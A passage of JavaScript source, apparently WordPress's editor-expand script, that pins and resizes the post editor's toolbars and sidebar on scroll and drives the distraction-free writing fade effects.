		 * If there is an mceEditor and it is hidden, it resizes the editor depending
		 * on the old text length. If the current length of the text is smaller than
		 * the old text length, it shrinks the text area. Otherwise it resizes the editor to
		 * the scroll height.
		 *
		 * @since 4.6.1
		 *
		 * @return {void}
		 */
		function textEditorResize() {
			var length = textEditor.value.length;

			if ( mceEditor && ! mceEditor.isHidden() ) {
				return;
			}

			if ( ! mceEditor && initialMode === 'tinymce' ) {
				return;
			}

			if ( length < oldTextLength ) {
				shrinkTextarea();
			} else if ( parseInt( textEditor.style.height, 10 ) < textEditor.scrollHeight ) {
				textEditor.style.height = Math.ceil( textEditor.scrollHeight ) + 'px';
				adjust();
			}

			oldTextLength = length;
		}

		/**
		 * Gets the height and widths of elements.
		 *
		 * Gets the heights of the window, the adminbar, the tools, the menu,
		 * the visualTop, the textTop, the bottom, the statusbar and sideSortables
		 * and stores these in the heights object. Defaults to 0.
		 * Gets the width of the window and stores this in the heights object.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function getHeights() {
			var windowWidth = $window.width();

			heights = {
				windowHeight: $window.height(),
				windowWidth: windowWidth,
				adminBarHeight: ( windowWidth > 600 ? $adminBar.outerHeight() : 0 ),
				toolsHeight: $tools.outerHeight() || 0,
				menuBarHeight: $menuBar.outerHeight() || 0,
				visualTopHeight: $visualTop.outerHeight() || 0,
				textTopHeight: $textTop.outerHeight() || 0,
				bottomHeight: $bottom.outerHeight() || 0,
				statusBarHeight: $statusBar.outerHeight() || 0,
				sideSortablesHeight: $sideSortables.height() || 0
			};

			// Adjust for hidden menubar.
			if ( heights.menuBarHeight < 3 ) {
				heights.menuBarHeight = 0;
			}
		}

		// We need to wait for TinyMCE to initialize.
		/**
		 * Binds all necessary functions for editor expand to the editor when the editor
		 * is initialized.
		 *
		 * @since 4.0.0
		 *
		 * @param {event} event The TinyMCE editor init event.
		 * @param {object} editor The editor to bind the vents on.
		 *
		 * @return {void}
		 */
		$document.on( 'tinymce-editor-init.editor-expand', function( event, editor ) {
			// VK contains the type of key pressed. VK = virtual keyboard.
			var VK = window.tinymce.util.VK,
				/**
				 * Hides any float panel with a hover state. Additionally hides tooltips.
				 *
				 * @return {void}
				 */
				hideFloatPanels = _.debounce( function() {
					! $( '.mce-floatpanel:hover' ).length && window.tinymce.ui.FloatPanel.hideAll();
					$( '.mce-tooltip' ).hide();
				}, 1000, true );

			// Make sure it's the main editor.
			if ( editor.id !== 'content' ) {
				return;
			}

			// Copy the editor instance.
			mceEditor = editor;

			// Set the minimum height to the initial viewport height.
			editor.settings.autoresize_min_height = autoresizeMinHeight;

			// Get the necessary UI elements.
			$visualTop = $contentWrap.find( '.mce-toolbar-grp' );
			$visualEditor = $contentWrap.find( '.mce-edit-area' );
			$statusBar = $contentWrap.find( '.mce-statusbar' );
			$menuBar = $contentWrap.find( '.mce-menubar' );

			/**
			 * Gets the offset of the editor.
			 *
			 * @return {number|boolean} Returns the offset of the editor
			 * or false if there is no offset height.
			 */
			function mceGetCursorOffset() {
				var node = editor.selection.getNode(),
					range, view, offset;

				/*
				 * If editor.wp.getView and the selection node from the editor selection
				 * are defined, use this as a view for the offset.
				 */
				if ( editor.wp && editor.wp.getView && ( view = editor.wp.getView( node ) ) ) {
					offset = view.getBoundingClientRect();
				} else {
					range = editor.selection.getRng();

					// Try to get the offset from a range.
					try {
						offset = range.getClientRects()[0];
					} catch( er ) {}

					// Get the offset from the bounding client rectangle of the node.
					if ( ! offset ) {
						offset = node.getBoundingClientRect();
					}
				}

				return offset.height ? offset : false;
			}

			/**
			 * Filters the special keys that should not be used for scrolling.
			 *
			 * @since 4.0.0
			 *
			 * @param {event} event The event to get the key code from.
			 *
			 * @return {void}
			 */
			function mceKeyup( event ) {
				var key = event.keyCode;

				// Bail on special keys. Key code 47 is a '/'.
				if ( key <= 47 && ! ( key === VK.SPACEBAR || key === VK.ENTER || key === VK.DELETE || key === VK.BACKSPACE || key === VK.UP || key === VK.LEFT || key === VK.DOWN || key === VK.UP ) ) {
					return;
				// OS keys, function keys, num lock, scroll lock. Key code 91-93 are OS keys.
				// Key code 112-123 are F1 to F12. Key code 144 is num lock. Key code 145 is scroll lock.
				} else if ( ( key >= 91 && key <= 93 ) || ( key >= 112 && key <= 123 ) || key === 144 || key === 145 ) {
					return;
				}

				mceScroll( key );
			}

			/**
			 * Makes sure the cursor is always visible in the editor.
			 *
			 * Makes sure the cursor is kept between the toolbars of the editor and scrolls
			 * the window when the cursor moves out of the viewport to a wpview.
			 * Setting a buffer > 0 will prevent the browser default.
			 * Some browsers will scroll to the middle,
			 * others to the top/bottom of the *window* when moving the cursor out of the viewport.
			 *
			 * @since 4.1.0
			 *
			 * @param {string} key The key code of the pressed key.
			 *
			 * @return {void}
			 */
			function mceScroll( key ) {
				var offset = mceGetCursorOffset(),
					buffer = 50,
					cursorTop, cursorBottom, editorTop, editorBottom;

				// Don't scroll if there is no offset.
				if ( ! offset ) {
					return;
				}

				// Determine the cursorTop based on the offset and the top of the editor iframe.
				cursorTop = offset.top + editor.iframeElement.getBoundingClientRect().top;

				// Determine the cursorBottom based on the cursorTop and offset height.
				cursorBottom = cursorTop + offset.height;

				// Subtract the buffer from the cursorTop.
				cursorTop = cursorTop - buffer;

				// Add the buffer to the cursorBottom.
				cursorBottom = cursorBottom + buffer;
				editorTop = heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight + heights.visualTopHeight;

				/*
				 * Set the editorBottom based on the window Height, and add the bottomHeight and statusBarHeight if the
				 * advanced editor is enabled.
				 */
				editorBottom = heights.windowHeight - ( advanced ? heights.bottomHeight + heights.statusBarHeight : 0 );

				// Don't scroll if the node is taller than the visible part of the editor.
				if ( editorBottom - editorTop < offset.height ) {
					return;
				}

				/*
				 * If the cursorTop is smaller than the editorTop and the up, left
				 * or backspace key is pressed, scroll the editor to the position defined
				 * by the cursorTop, pageYOffset and editorTop.
				 */
				if ( cursorTop < editorTop && ( key === VK.UP || key === VK.LEFT || key === VK.BACKSPACE ) ) {
					window.scrollTo( window.pageXOffset, cursorTop + window.pageYOffset - editorTop );

				/*
				 * If any other key is pressed or the cursorTop is bigger than the editorTop,
				 * scroll the editor to the position defined by the cursorBottom,
				 * pageYOffset and editorBottom.
				 */
				} else if ( cursorBottom > editorBottom ) {
					window.scrollTo( window.pageXOffset, cursorBottom + window.pageYOffset - editorBottom );
				}
			}

			/**
			 * If the editor is fullscreen, calls adjust.
			 *
			 * @since 4.1.0
			 *
			 * @param {event} event The FullscreenStateChanged event.
			 *
			 * @return {void}
			 */
			function mceFullscreenToggled( event ) {
				// event.state is true if the editor is fullscreen.
				if ( ! event.state ) {
					adjust();
				}
			}

			/**
			 * Shows the editor when scrolled.
			 *
			 * Binds the hideFloatPanels function on the window scroll.mce-float-panels event.
			 * Executes the wpAutoResize on the active editor.
			 *
			 * @since 4.0.0
			 *
			 * @return {void}
			 */
			function mceShow() {
				$window.on( 'scroll.mce-float-panels', hideFloatPanels );

				setTimeout( function() {
					editor.execCommand( 'wpAutoResize' );
					adjust();
				}, 300 );
			}

			/**
			 * Resizes the editor.
			 *
			 * Removes all functions from the window scroll.mce-float-panels event.
			 * Resizes the text editor and scrolls to a position based on the pageXOffset and adminBarHeight.
			 *
			 * @since 4.0.0
			 *
			 * @return {void}
			 */
			function mceHide() {
				$window.off( 'scroll.mce-float-panels' );

				setTimeout( function() {
					var top = $contentWrap.offset().top;

					if ( window.pageYOffset > top ) {
						window.scrollTo( window.pageXOffset, top - heights.adminBarHeight );
					}

					textEditorResize();
					adjust();
				}, 100 );

				adjust();
			}

			/**
			 * Toggles advanced states.
			 *
			 * @since 4.1.0
			 *
			 * @return {void}
			 */
			function toggleAdvanced() {
				advanced = ! advanced;
			}

			/**
			 * Binds events of the editor and window.
			 *
			 * @since 4.0.0
			 *
			 * @return {void}
			 */
			mceBind = function() {
				editor.on( 'keyup', mceKeyup );
				editor.on( 'show', mceShow );
				editor.on( 'hide', mceHide );
				editor.on( 'wp-toolbar-toggle', toggleAdvanced );

				// Adjust when the editor resizes.
				editor.on( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );

				// Don't hide the caret after undo/redo.
				editor.on( 'undo redo', mceScroll );

				// Adjust when exiting TinyMCE's fullscreen mode.
				editor.on( 'FullscreenStateChanged', mceFullscreenToggled );

				$window.off( 'scroll.mce-float-panels' ).on( 'scroll.mce-float-panels', hideFloatPanels );
			};

			/**
			 * Unbinds the events of the editor and window.
			 *
			 * @since 4.0.0
			 *
			 * @return {void}
			 */
			mceUnbind = function() {
				editor.off( 'keyup', mceKeyup );
				editor.off( 'show', mceShow );
				editor.off( 'hide', mceHide );
				editor.off( 'wp-toolbar-toggle', toggleAdvanced );
				editor.off( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );
				editor.off( 'undo redo', mceScroll );
				editor.off( 'FullscreenStateChanged', mceFullscreenToggled );

				$window.off( 'scroll.mce-float-panels' );
			};

			if ( $wrap.hasClass( 'wp-editor-expand' ) ) {

				// Adjust "immediately".
				mceBind();
				initialResize( adjust );
			}
		} );

		/**
		 * Adjusts the toolbars heights and positions.
		 *
		 * Adjusts the toolbars heights and positions based on the scroll position on
		 * the page, the active editor mode and the heights of the editor, admin bar and
		 * side bar.
		 *
		 * @since 4.0.0
		 *
		 * @param {event} event The event that calls this function.
		 *
		 * @return {void}
		 */
		function adjust( event ) {

			// Makes sure we're not in fullscreen mode.
			if ( fullscreen && fullscreen.settings.visible ) {
				return;
			}

			var windowPos = $window.scrollTop(),
				type = event && event.type,
				resize = type !== 'scroll',
				visual = mceEditor && ! mceEditor.isHidden(),
				buffer = autoresizeMinHeight,
				postBodyTop = $postBody.offset().top,
				borderWidth = 1,
				contentWrapWidth = $contentWrap.width(),
				$top, $editor, sidebarTop, footerTop, canPin,
				topPos, topHeight, editorPos, editorHeight;

			/*
			 * Refresh the heights if type isn't 'scroll'
			 * or heights.windowHeight isn't set.
			 */
			if ( resize || ! heights.windowHeight ) {
				getHeights();
			}

			// Resize on resize event when the editor is in text mode.
			if ( ! visual && type === 'resize' ) {
				textEditorResize();
			}

			if ( visual ) {
				$top = $visualTop;
				$editor = $visualEditor;
				topHeight = heights.visualTopHeight;
			} else {
				$top = $textTop;
				$editor = $textEditor;
				topHeight = heights.textTopHeight;
			}

			// Return if TinyMCE is still initializing.
			if ( ! visual && ! $top.length ) {
				return;
			}

			topPos = $top.parent().offset().top;
			editorPos = $editor.offset().top;
			editorHeight = $editor.outerHeight();

			/*
			 * If in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + topHeight.
			 * If not in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + 20.
			 */
			canPin = visual ? autoresizeMinHeight + topHeight : autoresizeMinHeight + 20; // 20px from textarea padding.
			canPin = editorHeight > ( canPin + 5 );

			if ( ! canPin ) {
				if ( resize ) {
					$tools.css( {
						position: 'absolute',
						top: 0,
						width: contentWrapWidth
					} );

					if ( visual && $menuBar.length ) {
						$menuBar.css( {
							position: 'absolute',
							top: 0,
							width: contentWrapWidth - ( borderWidth * 2 )
						} );
					}

					$top.css( {
						position: 'absolute',
						top: heights.menuBarHeight,
						width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
					} );

					$statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' );
					$bottom.attr( 'style', '' );
				}
			} else {
				// Check if the top is not already in a fixed position.
				if ( ( ! fixedTop || resize ) &&
					( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight ) &&
					windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) ) {
					fixedTop = true;

					$tools.css( {
						position: 'fixed',
						top: heights.adminBarHeight,
						width: contentWrapWidth
					} );

					if ( visual && $menuBar.length ) {
						$menuBar.css( {
							position: 'fixed',
							top: heights.adminBarHeight + heights.toolsHeight,
							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
						} );
					}

					$top.css( {
						position: 'fixed',
						top: heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight,
						width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
					} );
					// Check if the top is already in a fixed position.
				} else if ( fixedTop || resize ) {
					if ( windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight ) ) {
						fixedTop = false;

						$tools.css( {
							position: 'absolute',
							top: 0,
							width: contentWrapWidth
						} );

						if ( visual && $menuBar.length ) {
							$menuBar.css( {
								position: 'absolute',
								top: 0,
								width: contentWrapWidth - ( borderWidth * 2 )
							} );
						}

						$top.css( {
							position: 'absolute',
							top: heights.menuBarHeight,
							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
						} );
					} else if ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) {
						fixedTop = false;

						$tools.css( {
							position: 'absolute',
							top: editorHeight - buffer,
							width: contentWrapWidth
						} );

						if ( visual && $menuBar.length ) {
							$menuBar.css( {
								position: 'absolute',
								top: editorHeight - buffer,
								width: contentWrapWidth - ( borderWidth * 2 )
							} );
						}

						$top.css( {
							position: 'absolute',
							top: editorHeight - buffer + heights.menuBarHeight,
							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
						} );
					}
				}

				// Check if the bottom is not already in a fixed position.
				if ( ( ! fixedBottom || ( resize && advanced ) ) &&
						// Add borderWidth for the border around the .wp-editor-container.
						( windowPos + heights.windowHeight ) <= ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight + borderWidth ) ) {

					if ( event && event.deltaHeight > 0 && event.deltaHeight < 100 ) {
						window.scrollBy( 0, event.deltaHeight );
					} else if ( visual && advanced ) {
						fixedBottom = true;

						$statusBar.css( {
							position: 'fixed',
							bottom: heights.bottomHeight,
							visibility: '',
							width: contentWrapWidth - ( borderWidth * 2 )
						} );

						$bottom.css( {
							position: 'fixed',
							bottom: 0,
							width: contentWrapWidth
						} );
					}
				} else if ( ( ! advanced && fixedBottom ) ||
						( ( fixedBottom || resize ) &&
						( windowPos + heights.windowHeight ) > ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight - borderWidth ) ) ) {
					fixedBottom = false;

					$statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' );
					$bottom.attr( 'style', '' );
				}
			}

			// The postbox container is positioned with @media from CSS. Ensure it is pinned on the side.
			if ( $postboxContainer.width() < 300 && heights.windowWidth > 600 &&

				// Check if the sidebar is not taller than the document height.
				$document.height() > ( $sideSortables.height() + postBodyTop + 120 ) &&

				// Check if the editor is taller than the viewport.
				heights.windowHeight < editorHeight ) {

				if ( ( heights.sideSortablesHeight + pinnedToolsTop + sidebarBottom ) > heights.windowHeight || fixedSideTop || fixedSideBottom ) {

					// Reset the sideSortables style when scrolling to the top.
					if ( windowPos + pinnedToolsTop <= postBodyTop ) {
						$sideSortables.attr( 'style', '' );
						fixedSideTop = fixedSideBottom = false;
					} else {

						// When scrolling down.
						if ( windowPos > lastScrollPosition ) {
							if ( fixedSideTop ) {

								// Let it scroll.
								fixedSideTop = false;
								sidebarTop = $sideSortables.offset().top - heights.adminBarHeight;
								footerTop = $footer.offset().top;

								// Don't get over the footer.
								if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
									sidebarTop = footerTop - heights.sideSortablesHeight - 12;
								}

								$sideSortables.css({
									position: 'absolute',
									top: sidebarTop,
									bottom: ''
								});
							} else if ( ! fixedSideBottom && heights.sideSortablesHeight + $sideSortables.offset().top + sidebarBottom < windowPos + heights.windowHeight ) {
								// Pin the bottom.
								fixedSideBottom = true;

								$sideSortables.css({
									position: 'fixed',
									top: 'auto',
									bottom: sidebarBottom
								});
							}

						// When scrolling up.
						} else if ( windowPos < lastScrollPosition ) {
							if ( fixedSideBottom ) {
								// Let it scroll.
								fixedSideBottom = false;
								sidebarTop = $sideSortables.offset().top - sidebarBottom;
								footerTop = $footer.offset().top;

								// Don't get over the footer.
								if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
									sidebarTop = footerTop - heights.sideSortablesHeight - 12;
								}

								$sideSortables.css({
									position: 'absolute',
									top: sidebarTop,
									bottom: ''
								});
							} else if ( ! fixedSideTop && $sideSortables.offset().top >= windowPos + pinnedToolsTop ) {
								// Pin the top.
								fixedSideTop = true;

								$sideSortables.css({
									position: 'fixed',
									top: pinnedToolsTop,
									bottom: ''
								});
							}
						}
					}
				} else {
					// If the sidebar container is smaller than the viewport, then pin/unpin the top when scrolling.
					if ( windowPos >= ( postBodyTop - pinnedToolsTop ) ) {

						$sideSortables.css( {
							position: 'fixed',
							top: pinnedToolsTop
						} );
					} else {
						$sideSortables.attr( 'style', '' );
					}

					fixedSideTop = fixedSideBottom = false;
				}

				lastScrollPosition = windowPos;
			} else {
				$sideSortables.attr( 'style', '' );
				fixedSideTop = fixedSideBottom = false;
			}

			if ( resize ) {
				$contentWrap.css( {
					paddingTop: heights.toolsHeight
				} );

				if ( visual ) {
					$visualEditor.css( {
						paddingTop: heights.visualTopHeight + heights.menuBarHeight
					} );
				} else {
					$textEditor.css( {
						marginTop: heights.textTopHeight
					} );
				}
			}
		}

		/**
		 * Resizes the editor and adjusts the toolbars.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function fullscreenHide() {
			textEditorResize();
			adjust();
		}

		/**
		 * Runs the passed function with 500ms intervals.
		 *
		 * @since 4.0.0
		 *
		 * @param {function} callback The function to run in the timeout.
		 *
		 * @return {void}
		 */
		function initialResize( callback ) {
			for ( var i = 1; i < 6; i++ ) {
				setTimeout( callback, 500 * i );
			}
		}

		/**
		 * Runs adjust after 100ms.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function afterScroll() {
			clearTimeout( scrollTimer );
			scrollTimer = setTimeout( adjust, 100 );
		}

		/**
		 * Binds editor expand events on elements.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function on() {
			/*
			 * Scroll to the top when triggering this from JS.
			 * Ensure the toolbars are pinned properly.
			 */
			if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
				window.scrollTo( window.pageXOffset, 0 );
			}

			$wrap.addClass( 'wp-editor-expand' );

			// Adjust when the window is scrolled or resized.
			$window.on( 'scroll.editor-expand resize.editor-expand', function( event ) {
				adjust( event.type );
				afterScroll();
			} );

			/*
		 	 * Adjust when collapsing the menu, changing the columns
		 	 * or changing the body class.
			 */
			$document.on( 'wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand', adjust )
				.on( 'postbox-toggled.editor-expand postbox-moved.editor-expand', function() {
					if ( ! fixedSideTop && ! fixedSideBottom && window.pageYOffset > pinnedToolsTop ) {
						fixedSideBottom = true;
						window.scrollBy( 0, -1 );
						adjust();
						window.scrollBy( 0, 1 );
					}

					adjust();
				}).on( 'wp-window-resized.editor-expand', function() {
					if ( mceEditor && ! mceEditor.isHidden() ) {
						mceEditor.execCommand( 'wpAutoResize' );
					} else {
						textEditorResize();
					}
				});

			$textEditor.on( 'focus.editor-expand input.editor-expand propertychange.editor-expand', textEditorResize );
			mceBind();

			// Adjust when entering or exiting fullscreen mode.
			fullscreen && fullscreen.pubsub.subscribe( 'hidden', fullscreenHide );

			if ( mceEditor ) {
				mceEditor.settings.wp_autoresize_on = true;
				mceEditor.execCommand( 'wpAutoResizeOn' );

				if ( ! mceEditor.isHidden() ) {
					mceEditor.execCommand( 'wpAutoResize' );
				}
			}

			if ( ! mceEditor || mceEditor.isHidden() ) {
				textEditorResize();
			}

			adjust();

			$document.trigger( 'editor-expand-on' );
		}

		/**
		 * Unbinds editor expand events.
		 *
		 * @since 4.0.0
		 *
		 * @return {void}
		 */
		function off() {
			var height = parseInt( window.getUserSetting( 'ed_size', 300 ), 10 );

			if ( height < 50 ) {
				height = 50;
			} else if ( height > 5000 ) {
				height = 5000;
			}

			/*
			 * Scroll to the top when triggering this from JS.
			 * Ensure the toolbars are reset properly.
			 */
			if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) {
				window.scrollTo( window.pageXOffset, 0 );
			}

			$wrap.removeClass( 'wp-editor-expand' );

			$window.off( '.editor-expand' );
			$document.off( '.editor-expand' );
			$textEditor.off( '.editor-expand' );
			mceUnbind();

			// Adjust when entering or exiting fullscreen mode.
			fullscreen && fullscreen.pubsub.unsubscribe( 'hidden', fullscreenHide );

			// Reset all CSS.
			$.each( [ $visualTop, $textTop, $tools, $menuBar, $bottom, $statusBar, $contentWrap, $visualEditor, $textEditor, $sideSortables ], function( i, element ) {
				element && element.attr( 'style', '' );
			});

			fixedTop = fixedBottom = fixedSideTop = fixedSideBottom = false;

			if ( mceEditor ) {
				mceEditor.settings.wp_autoresize_on = false;
				mceEditor.execCommand( 'wpAutoResizeOff' );

				if ( ! mceEditor.isHidden() ) {
					$textEditor.hide();

					if ( height ) {
						mceEditor.theme.resizeTo( null, height );
					}
				}
			}

			// If there is a height found in the user setting.
			if ( height ) {
				$textEditor.height( height );
			}

			$document.trigger( 'editor-expand-off' );
		}

		// Start on load.
		if ( $wrap.hasClass( 'wp-editor-expand' ) ) {
			on();

			// Resize just after CSS has fully loaded and QuickTags is ready.
			if ( $contentWrap.hasClass( 'html-active' ) ) {
				initialResize( function() {
					adjust();
					textEditorResize();
				} );
			}
		}

		// Show the on/off checkbox.
		$( '#adv-settings .editor-expand' ).show();
		$( '#editor-expand-toggle' ).on( 'change.editor-expand', function() {
			if ( $(this).prop( 'checked' ) ) {
				on();
				window.setUserSetting( 'editor_expand', 'on' );
			} else {
				off();
				window.setUserSetting( 'editor_expand', 'off' );
			}
		});

		// Expose on() and off().
		window.editorExpand = {
			on: on,
			off: off
		};
	} );

	/**
	 * Handles the distraction free writing of TinyMCE.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	$( function() {
		var $body = $( document.body ),
			$wrap = $( '#wpcontent' ),
			$editor = $( '#post-body-content' ),
			$title = $( '#title' ),
			$content = $( '#content' ),
			$overlay = $( document.createElement( 'DIV' ) ),
			$slug = $( '#edit-slug-box' ),
			$slugFocusEl = $slug.find( 'a' )
				.add( $slug.find( 'button' ) )
				.add( $slug.find( 'input' ) ),
			$menuWrap = $( '#adminmenuwrap' ),
			$editorWindow = $(),
			$editorIframe = $(),
			_isActive = window.getUserSetting( 'editor_expand', 'on' ) === 'on',
			_isOn = _isActive ? window.getUserSetting( 'post_dfw' ) === 'on' : false,
			traveledX = 0,
			traveledY = 0,
			buffer = 20,
			faded, fadedAdminBar, fadedSlug,
			editorRect, x, y, mouseY, scrollY,
			focusLostTimer, overlayTimer, editorHasFocus;

		$body.append( $overlay );

		$overlay.css( {
			display: 'none',
			position: 'fixed',
			top: $adminBar.height(),
			right: 0,
			bottom: 0,
			left: 0,
			'z-index': 9997
		} );

		$editor.css( {
			position: 'relative'
		} );

		$window.on( 'mousemove.focus', function( event ) {
			mouseY = event.pageY;
		} );

		/**
		 * Recalculates the bottom and right position of the editor in the DOM.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function recalcEditorRect() {
			editorRect = $editor.offset();
			editorRect.right = editorRect.left + $editor.outerWidth();
			editorRect.bottom = editorRect.top + $editor.outerHeight();
		}

		/**
		 * Activates the distraction free writing mode.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function activate() {
			if ( ! _isActive ) {
				_isActive = true;

				$document.trigger( 'dfw-activate' );
				$content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
			}
		}

		/**
		 * Deactivates the distraction free writing mode.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function deactivate() {
			if ( _isActive ) {
				off();

				_isActive = false;

				$document.trigger( 'dfw-deactivate' );
				$content.off( 'keydown.focus-shortcut' );
			}
		}

		/**
		 * Returns _isActive.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean} Returns true is _isActive is true.
		 */
		function isActive() {
			return _isActive;
		}

		/**
		 * Binds events on the editor for distraction free writing.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function on() {
			if ( ! _isOn && _isActive ) {
				_isOn = true;

				$content.on( 'keydown.focus', fadeOut );

				$title.add( $content ).on( 'blur.focus', maybeFadeIn );

				fadeOut();

				window.setUserSetting( 'post_dfw', 'on' );

				$document.trigger( 'dfw-on' );
			}
		}

		/**
		 * Unbinds events on the editor for distraction free writing.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function off() {
			if ( _isOn ) {
				_isOn = false;

				$title.add( $content ).off( '.focus' );

				fadeIn();

				$editor.off( '.focus' );

				window.setUserSetting( 'post_dfw', 'off' );

				$document.trigger( 'dfw-off' );
			}
		}

		/**
		 * Binds or unbinds the editor expand events.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function toggle() {
			if ( _isOn ) {
				off();
			} else {
				on();
			}
		}

		/**
		 * Returns the value of _isOn.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean} Returns true if _isOn is true.
		 */
		function isOn() {
			return _isOn;
		}

		/**
		 * Fades out all elements except for the editor.
		 *
		 * The fading is done based on key presses and mouse movements.
		 * Also calls the fadeIn on certain key presses
		 * or if the mouse leaves the editor.
		 *
		 * @since 4.1.0
		 *
		 * @param event The event that triggers this function.
		 *
		 * @return {void}
		 */
		function fadeOut( event ) {
			var isMac,
				key = event && event.keyCode;

			if ( window.navigator.platform ) {
				isMac = ( window.navigator.platform.indexOf( 'Mac' ) > -1 );
			}

			// Fade in and returns on Escape and keyboard shortcut Alt+Shift+W and Ctrl+Opt+W.
			if ( key === 27 || ( key === 87 && event.altKey && ( ( ! isMac && event.shiftKey ) || ( isMac && event.ctrlKey ) ) ) ) {
				fadeIn( event );
				return;
			}

			// Return if any of the following keys or combinations of keys is pressed.
			if ( event && ( event.metaKey || ( event.ctrlKey && ! event.altKey ) || ( event.altKey && event.shiftKey ) || ( key && (
				// Special keys ( tab, ctrl, alt, esc, arrow keys... ).
				( key <= 47 && key !== 8 && key !== 13 && key !== 32 && key !== 46 ) ||
				// Windows keys.
				( key >= 91 && key <= 93 ) ||
				// F keys.
				( key >= 112 && key <= 135 ) ||
				// Num Lock, Scroll Lock, OEM.
				( key >= 144 && key <= 150 ) ||
				// OEM or non-printable.
				key >= 224
			) ) ) ) {
				return;
			}

			if ( ! faded ) {
				faded = true;

				clearTimeout( overlayTimer );

				overlayTimer = setTimeout( function() {
					$overlay.show();
				}, 600 );

				$editor.css( 'z-index', 9998 );

				$overlay
					// Always recalculate the editor area when entering the overlay with the mouse.
					.on( 'mouseenter.focus', function() {
						recalcEditorRect();

						$window.on( 'scroll.focus', function() {
							var nScrollY = window.pageYOffset;

							if ( (
								scrollY && mouseY &&
								scrollY !== nScrollY
							) && (
								mouseY < editorRect.top - buffer ||
								mouseY > editorRect.bottom + buffer
							) ) {
								fadeIn();
							}

							scrollY = nScrollY;
						} );
					} )
					.on( 'mouseleave.focus', function() {
						x = y =  null;
						traveledX = traveledY = 0;

						$window.off( 'scroll.focus' );
					} )
					// Fade in when the mouse moves away form the editor area.
					.on( 'mousemove.focus', function( event ) {
						var nx = event.clientX,
							ny = event.clientY,
							pageYOffset = window.pageYOffset,
							pageXOffset = window.pageXOffset;

						if ( x && y && ( nx !== x || ny !== y ) ) {
							if (
								( ny <= y && ny < editorRect.top - pageYOffset ) ||
								( ny >= y && ny > editorRect.bottom - pageYOffset ) ||
								( nx <= x && nx < editorRect.left - pageXOffset ) ||
								( nx >= x && nx > editorRect.right - pageXOffset )
							) {
								traveledX += Math.abs( x - nx );
								traveledY += Math.abs( y - ny );

								if ( (
									ny <= editorRect.top - buffer - pageYOffset ||
									ny >= editorRect.bottom + buffer - pageYOffset ||
									nx <= editorRect.left - buffer - pageXOffset ||
									nx >= editorRect.right + buffer - pageXOffset
								) && (
									traveledX > 10 ||
									traveledY > 10
								) ) {
									fadeIn();

									x = y =  null;
									traveledX = traveledY = 0;

									return;
								}
							} else {
								traveledX = traveledY = 0;
							}
						}

						x = nx;
						y = ny;
					} )

					// When the overlay is touched, fade in and cancel the event.
					.on( 'touchstart.focus', function( event ) {
						event.preventDefault();
						fadeIn();
					} );

				$editor.off( 'mouseenter.focus' );

				if ( focusLostTimer ) {
					clearTimeout( focusLostTimer );
					focusLostTimer = null;
				}

				$body.addClass( 'focus-on' ).removeClass( 'focus-off' );
			}

			fadeOutAdminBar();
			fadeOutSlug();
		}

		/**
		 * Fades all elements back in.
		 *
		 * @since 4.1.0
		 *
		 * @param event The event that triggers this function.
		 *
		 * @return {void}
		 */
		function fadeIn( event ) {
			if ( faded ) {
				faded = false;

				clearTimeout( overlayTimer );

				overlayTimer = setTimeout( function() {
					$overlay.hide();
				}, 200 );

				$editor.css( 'z-index', '' );

				$overlay.off( 'mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus' );

				/*
				 * When fading in, temporarily watch for refocus and fade back out - helps
				 * with 'accidental' editor exits with the mouse. When fading in and the event
				 * is a key event (Escape or Alt+Shift+W) don't watch for refocus.
				 */
				if ( 'undefined' === typeof event ) {
					$editor.on( 'mouseenter.focus', function() {
						if ( $.contains( $editor.get( 0 ), document.activeElement ) || editorHasFocus ) {
							fadeOut();
						}
					} );
				}

				focusLostTimer = setTimeout( function() {
					focusLostTimer = null;
					$editor.off( 'mouseenter.focus' );
				}, 1000 );

				$body.addClass( 'focus-off' ).removeClass( 'focus-on' );
			}

			fadeInAdminBar();
			fadeInSlug();
		}

		/**
		 * Fades in if the focused element based on it position.
		 *
